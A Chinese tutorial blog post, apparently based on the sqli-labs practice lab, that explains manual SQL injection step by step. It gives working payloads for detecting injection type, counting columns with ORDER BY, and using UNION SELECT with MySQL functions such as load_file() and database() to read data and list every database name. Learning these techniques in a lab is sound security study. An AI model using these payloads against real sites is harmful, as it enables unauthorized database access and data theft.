zoukankan      html  css  js  c++  java
  • SQL注入详细步骤讲解

    SQL注入详细步骤讲解

    1Get型 整型与字符型注入判断:

    举例:

    http://xxx/xxx/Less-1/?id=1 and 1=1 --+ 

    输入?id=1 and 1=1 --+正常,输入?id=1 and 1=2 --+报错,可判断为整型注入。

    http://xxx.xxx/Less-1/?id=1'   

    输入?id=1'出现报错,输入?id=1''正常,可判断为字符型注入。

    http://xxx.xxx/Less-1/?id=1' and 1=1 -- -  

    输入?id=1' and 1=1 -- -正常,输入?id=1' and 1=2 -- -报错,可判断为字符型注入。

    http://xxx/xxx/Less-1/?id=1' and 1=1 --+ 

    输入?id=1' and 1=1 --+正常,输入?id=1' and 1=2 --+报错,可判断为字符型注入。

     

    总结:--+为注释后面的内容 -- -也可以用,效果一样。单引号是用来猜其是否存在字符型注入的,不加的就是测试其是否是整型注入的。

     

    2、判断列数

    判断完整型还是字符型后,去判断有多少列,当输入的列数超过它本来的就会出现报错。

    举例:id=1' order by 4 --+ 判断这个数据库是否有四列,如果不是会报错,反之不报错。

     

    3、判断显示位及在显示位上放一些sql函数来获取你想要知道的。

    id改为0或负数或100000这种很大的数,这中不存在的情况就会使其报错,就会直接执行后面的语句。

     

    举例:id=0' union select 1,2,3 --+ 判断其中的显示位为哪个,假如是3,那就可在这个位置上加入sql函数来测试。

     MySql的函数有:

    1:system_user()  系统用户名

    2:user()         用户名

    3:current_user   当前用户名

    4:session_user()  连接数据库的用户名

    5:database()     数据库名

    6:version()       MYSQL数据库版本

    7:load_file()      转成16进制或者是10进制 MYSQL读取本地文件的函数

    8:@@datadir     读取数据库路径

    9:@@basedir     MYSQL 安装路径

    10:@@version_compile_os     操作系统

     

    举例:

    1http://xxx/Less-1/?id=0' union select 1,2,database() --+ 获取当前数据库名。

    2http://xxx/Less-1/?id=0' union select 1,2, group_concat(SCHEMA_NAME) from information_schema.SCHEMATA --+ 

    显示所有库名。

    group_concat() 是把相同的值全部以逗号分割的形式列出来。

     

     

    人生得意须尽 莫使金樽空对月
  • 相关阅读:
    rip协议
    IP地址的计算以及子网掩码的计算
    jQuery知识点
    JavaScript 语言编程学习路线
    JS中AJAX知识
    .以及JDK1.5ConcurrentHashMap新特性
    Java程序执行顺序
    观察者设计模式
    Servlet中Filter的学习
    JDBC和连接池知识点
  • 原文地址:https://www.cnblogs.com/puhk/p/12674740.html
Copyright © 2011-2022 走看看